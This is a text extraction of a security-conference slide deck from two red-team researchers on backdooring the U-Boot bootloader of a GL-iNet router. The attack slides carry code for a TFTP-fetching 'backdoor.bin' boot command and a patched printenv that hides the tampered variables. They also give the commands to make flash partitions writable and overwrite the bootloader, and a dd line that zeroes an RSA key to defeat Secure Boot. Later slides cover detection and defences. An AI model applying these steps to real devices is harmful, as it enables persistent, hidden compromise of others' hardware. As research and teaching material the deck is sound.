I Boot when U-Boot @bernardomr (MIA) @_evict 1 / 44 Agenda 1. - - PowerPoint PPT Presentation

i boot when u boot
SMART_READER_LITE
LIVE PREVIEW

I Boot when U-Boot @bernardomr (MIA) @_evict 1 / 44 Agenda 1. - - PowerPoint PPT Presentation

I Boot when U-Boot @bernardomr (MIA) @_evict 1 / 44 Agenda 1. Introduction 2. The target device 3. The bootkit 4. Defending / Detecting 2 / 44 Introduction Vincent Works at KPN REDteam Likes Linux and low-level stu Located in Amsterdam


slide-1
SLIDE 1

I Boot when U-Boot

@bernardomr (MIA) @_evict 1 / 44

slide-2
SLIDE 2

Agenda

  • 1. Introduction
  • 2. The target device
  • 3. The bootkit
  • 4. Defending / Detecting

2 / 44

slide-3
SLIDE 3

Introduction

Vincent

Works at KPN REDteam Likes Linux and low-level stu Located in Amsterdam

3 / 44

slide-4
SLIDE 4

Introduction

Bernardo

Works at KPN REDteam Very good at bricking routers TheGoonies CTF player Brazilian, located in Amsterdam, actually there right now.

4 / 44

slide-5
SLIDE 5

Goal

Demonstrating a bootkit on embedded devices. Learn about embedded device architecture. Having fun!

5 / 44

slide-6
SLIDE 6

Bootkit: Advantages

Dicult to detect. Bootloader usually not aected by updates. Bypass OS security features.

6 / 44

slide-7
SLIDE 7

Bootkit: Disadvantages

7 / 44

slide-8
SLIDE 8

The Device

8 / 44

slide-9
SLIDE 9

The Device

Source: https://www.gl-inet.com/gl-inet6416/ 9 / 44

slide-10
SLIDE 10

Preparing the Device

10 / 44

slide-11
SLIDE 11

Dumping the ash

11 / 44

slide-12
SLIDE 12

The toolchain

You will probably need to cross-compile Crosstool-ng OpenWRT SDK / Imagebuilder

12 / 44

slide-13
SLIDE 13

U-Boot

Source: https://wikidevi.com 13 / 44

slide-14
SLIDE 14

U-Boot variables

Stores environment variables on persistent storage Environment variable block size depends on device type

/u­boot/include/configs/ap121.h

/* * ========================= * Environment configuration * ========================= */ #if defined(CONFIG_FOR_8DEVICES_CARAMBOLA2) ||\ defined(CONFIG_FOR_ALFA_NETWORK_HORNET_UB) ||\ defined(CONFIG_FOR_GL_AR150) #define CFG_ENV_ADDR 0x9F040000 #define CFG_ENV_SIZE 0x8000 #define CFG_ENV_SECT_SIZE 0x10000 #elif defined(CONFIG_FOR_BLACK_SWIFT_BOARD) #define CFG_ENV_ADDR 0x9F020000 #define CFG_ENV_SIZE 0x8000 #define CFG_ENV_SECT_SIZE 0x10000 [...SNIP...]

14 / 44

slide-15
SLIDE 15

U-Boot variables

bootcmd bootargs loaddr recovery many more

15 / 44

slide-16
SLIDE 16

16 / 44

slide-17
SLIDE 17

Interesting features

printenv() tftpboot() envstopstr bootcmd ping

17 / 44

slide-18
SLIDE 18

Scripts

U-Boot scripting language 'Dual-Boot' example:

if ping $serverip; then tftpboot $loadaddr backdoor.bin bootm $loadaddr else bootm $fw_addr fi

18 / 44

slide-19
SLIDE 19

Backdooring functions

printenv

Preventing printenv to print all: Function is do_printenv in cmd_nvedit.c Loops through '\0' separated list.

19 / 44

slide-20
SLIDE 20

if(argc == 1){ /* Print all env variables */ for(i = 0; env_get_char(i) != '\0'; i = nxt + 1){ for(nxt = i; env_get_char(nxt) != '\0'; ++nxt) { if(env_get_char(nxt) == '=') { variable[c] = '\0'; if(get_match(variable)) { // function pflag=1; // do not print } // function stuff ... for(k = i; k < nxt; ++k){ if(!pflag) { // only print when flag is not set putc(env_get_char(k)); } } if(pflag) { m++; // we have 1 match } if(m == 1) { // first match is bootargs puts("bootargs=console=ttyS0,115200 root=31:0...") } else if (m == 2) { // second match is bootcmds puts("bootcmds=bootm 0x9F020000"); m=0; // this is the last one, reset counter } // function continues.... } }

20 / 44

slide-21
SLIDE 21

Backdooring functions

bootcmd variable

Executed by bootm when device boots Usually an environment variable Overwritten in source

21 / 44

slide-22
SLIDE 22

bootcmd

u­boot/common/main.c

/* Get boot command */ bootcmd = getenv("bootcmd"); #if defined(CONFIG_BOOTCOMMAND) if (!bootcmd) setenv("bootcmd", CONFIG_BOOTCOMMAND); bootcmd = getenv("bootcmd"); #endif bootcmd = "if ping $serverip; then tftpboot $loadaddr backdoor.bin;\ bootm $loadaddr; else bootm $fw_addr; fi";

22 / 44

slide-23
SLIDE 23

U-Boot 'password' protection

envstopstr Hidden from user (but not from GNU strings) Wipes device on incorrect try

u­boot/common/main.c

if (stopstr_len == envstopstr_len) { if (memcmp(envstopstr, stopstr, envstopstr_len) == 0) { abort = 1; bootdelay = 0; break; } else puts("\nToo bad! Wiping the device\n"); bootcmd = "erase all; reset"; tested = 1; }

23 / 44

slide-24
SLIDE 24

Hiding from 'strings'

Dene the string as a byte array Not as hardcoded string

char c; char stop[] = { 0x73, 0x75, 0x70, 0x65, 0x72, 0x73, 0x65, 0x63, 0x72, 0x65, 0x74, 0x00 }; char *envstopstr = malloc(strlen(stop)); strcpy(envstopstr, stop);

Simple obfuscation technique Will be found with reverse engineering

mov byte [var], 0x73; mov byte [var+1], 0x75; mov byte....

24 / 44

slide-25
SLIDE 25

Demo

Bypassing the envstopstr protection

Glitching the data-in pin. Bootloader is loaded in memory Fallback to bootloader Demo video

25 / 44

slide-26
SLIDE 26

Planting the bootkit

$ export PATH=/opt/openwrt/toolchain/ toolchain­mips_34kc_gcc­5.3.0_musl­1.1.16/bin/:$PATH $ make bootkit $ binwalk bin/bootkit.bin DECIMAL HEXADECIMAL DESCRIPTION ­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­ 11672 0x2D98 uImage header, header size: 64 bytes, header CRC: 0x45DE2870, created: 2018­02­25 15:46:34, image size: 57080 bytes, Data Address: 0x80010000, Entry Point: 0x80010000, data CRC: 0xA99D818A, OS: Linux, CPU: MIPS, image type: Firmware Image, compression type: lzma, image name: "U­Boot 1.1.4 (Jun 25 2014)" 11704 0x2DB8 U­Boot version string, "U­Boot 1.1.4 (Jun 25 2014)" 11736 0x2DD8 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 156864 bytes

26 / 44

slide-27
SLIDE 27

Planting the bootkit

Linux Kernel treats "raw ash memory" chips as MTD (Memory Technology Device) Filesystems on top of the MTD abstraction layer:

root@GL­iNet:/mnt/sda1/flash# cat /proc/mtd dev: size erasesize name mtd0: 00020000 00010000 "u­boot" mtd1: 00110024 00010000 "kernel" mtd2: 00ebffdc 00010000 "rootfs" mtd3: 00870000 00010000 "rootfs_data" mtd4: 00010000 00010000 "art" mtd5: 00fd0000 00010000 "firmware"

27 / 44

slide-28
SLIDE 28

Planting the bootkit

Boot partition commonly mounted as Read Only:

https://github.com/lede-project/source/blob/master/target/linux/ar71xx/image/generic.mk#L233-L241

define Device/gl­ar150 DEVICE_TITLE := GL.iNet GL­AR150 DEVICE_PACKAGES := kmod­usb­core kmod­usb2 BOARDNAME := GL­AR150 IMAGE_SIZE := 16000k CONSOLE := ttyATH0,115200 MTDPARTS := spi0.0:256k(u­boot)ro,64k(u­boot­env)ro, 16000k(firmware),64k(art)ro endef TARGET_DEVICES += gl­ar150

28 / 44

slide-29
SLIDE 29

Planting the bootkit

mtd-rw: https://github.com/jclehner/mtd-rw LKM that sets the MTD_WRITEABLE ag on all MTD partitions that are marked readonly

/linux/include/mtd/mtd­abi.h:

#define MTD_WRITEABLE 0x400 /* Device is writeable */ #define MTD_BIT_WRITEABLE 0x800 /* Single bits can be flipped #define MTD_NO_ERASE 0x1000 /* No erase necessary */ #define MTD_POWERUP_LOCK 0x2000 /* Always locked after reset *

29 / 44

slide-30
SLIDE 30

Planting the bootkit

Overwrite mtd->ags https://github.com/jclehner/mtd-rw/blob/master/mtd-rw.c

static int __init mtd_rw_init(void) if (w && !(mtd­>flags & MTD_WRITEABLE)) { printk(MOD_INFO "mtd%d: setting writeable flag\n", n); mtd­>flags |= MTD_WRITEABLE; err = 0; } else if (!w && (mtd­>flags & MTD_WRITEABLE)) { printk(MOD_INFO "mtd%d: clearing writeable flag\n", n); mtd­>flags &= ~MTD_WRITEABLE; err = 0; }

30 / 44

slide-31
SLIDE 31

Planting the bootkit

Physical access is not required

root@GL­iNet:/mnt/sda1# insmod mtd­rw.ko [ 88.660000] mtd­rw: must specify i_want_a_brick=1 to continue kmod: failed to insert mtd­rw.ko root@GL­iNet:/mnt/sda1# insmod mtd­rw.ko i_want_a_brick=1 [ 97.240000] mtd­rw: mtd0: setting writeable flag [ 97.250000] mtd­rw: mtd1: setting writeable flag [ 97.250000] mtd­rw: mtd2: setting writeable flag [ 97.260000] mtd­rw: mtd4: setting writeable flag root@GL­iNet:/mnt/sda1/flash# mtd write backdoor.bin "u­boot" Unlocking u­boot ... Writing from backdoor.bin to u­boot ...

31 / 44

slide-32
SLIDE 32

Persistence

Malicious kernel / initramFS Served by C2 Only in memory

if ping $serverip; then tftpboot $loadaddr backdoor.bin bootm $loadaddr else bootm $fw_addr fi

32 / 44

slide-33
SLIDE 33

Demo

Dualbooting the device with bootcmd. Pings host, if alive TFTPBoot() jmp to memory address Demo video

33 / 44

slide-34
SLIDE 34

Detecting Bootkits

U-Boot Reproducible builds Fixed timestamps

"In order to achieve reproducible builds in U-Boot, timestamps that are dened at build-time have to be somewhat eliminated. The SOURCE_DATE_EPOCH environment variable allows setting a xed value for those timestamps."

https://github.com/lede-project/source/blob/lede-17.01/package/boot/uboot-ar71xx/patches/0001-upstream- Reproducible-U-Boot-build-support-using-SOURCE_DATE_.patch 34 / 44

slide-35
SLIDE 35

Detecting Bootkits

Chipsec

35 / 44

slide-36
SLIDE 36

Secure Boot

U-Boot has Secure Boot support Secure Boot by digest / signature

36 / 44

slide-37
SLIDE 37

Secure Boot

Physical impediments. TPM / Trusted Boot

37 / 44

slide-38
SLIDE 38

Secure Boot

38 / 44

slide-39
SLIDE 39

Bypassing Secureboot

U-Boot disables the certicate validation if it doesn’t nd a valid RSA key Bypass #1: Overwrite the key with 0's

https://github.com/true-systems/om5p-ac-v2-unlocker

RSA_KEY_HEADER_SIZE=0x20 RSA_KEY_OFFSET=0x8000 ART_PARTITION=mtd7 BYTES=$((RSA_KEY_HEADER_SIZE)) SEEK=$(($RSA_KEY_OFFSET/$RSA_KEY_HEADER_SIZE)) dd if=/dev/zero bs=$BYTES count=1 | dd of=/dev/$ART_PARTITION bs=$BYTES seek=$SEEK count=1 conv=notrunc

Bypass #2: Stack Overow (size of uploaded image over TFTP is not limited)

https://github.com/true-systems/om5p-ac-v2-unlocker/wiki/Open-Mesh-lock-down-exploit 39 / 44

slide-40
SLIDE 40

Bypassing Secureboot

Bypassing Secureboot Using Fault Injection (Blackhat EU 2016 & SHA2017)

https://www.blackhat.com/docs/eu-16/materials/eu-16-Timmers-Bypassing-Secure-Boot-Using-Fault- Injection.pdf

20 Ways Past Secure Boot (HITB KUL2013 & TROOPERS14)

https://www.youtube.com/watch?v=74SzIe9qiM8 40 / 44

slide-41
SLIDE 41

Supply-Chain attacks

APT 27 hacking popular software (CCleaner), targeting IT vendors and hardware suppliers: http://blog.talosintelligence.com/2017/09/ccleaner-c2-concern.html 41 / 44

slide-42
SLIDE 42

(Not-so) Trusted Computing

http://glenngreenwald.net/pdf/NoPlaceToHide-Documents-Compressed.pdf 42 / 44

slide-43
SLIDE 43

Firmware Security Resources

Veried U-Boot Resources:

https://lwn.net/Articles/571031/

Training: Security of BIOS/UEFI System Firmware from Attacker and Defender Perspectives

https://github.com/advanced-threat-research/rmware-security-training

Book: Rootkits and Bootkits

https://www.nostarch.com/rootkits 43 / 44

slide-44
SLIDE 44

Conclusion

Secure Boot is important Reduce rmware opacity Physical impediments (E.g. read-only jumper in old BIOS) Transparency vs Tamperproong Reverse engineering documentation, scripts, parsers for bootloaders

44 / 44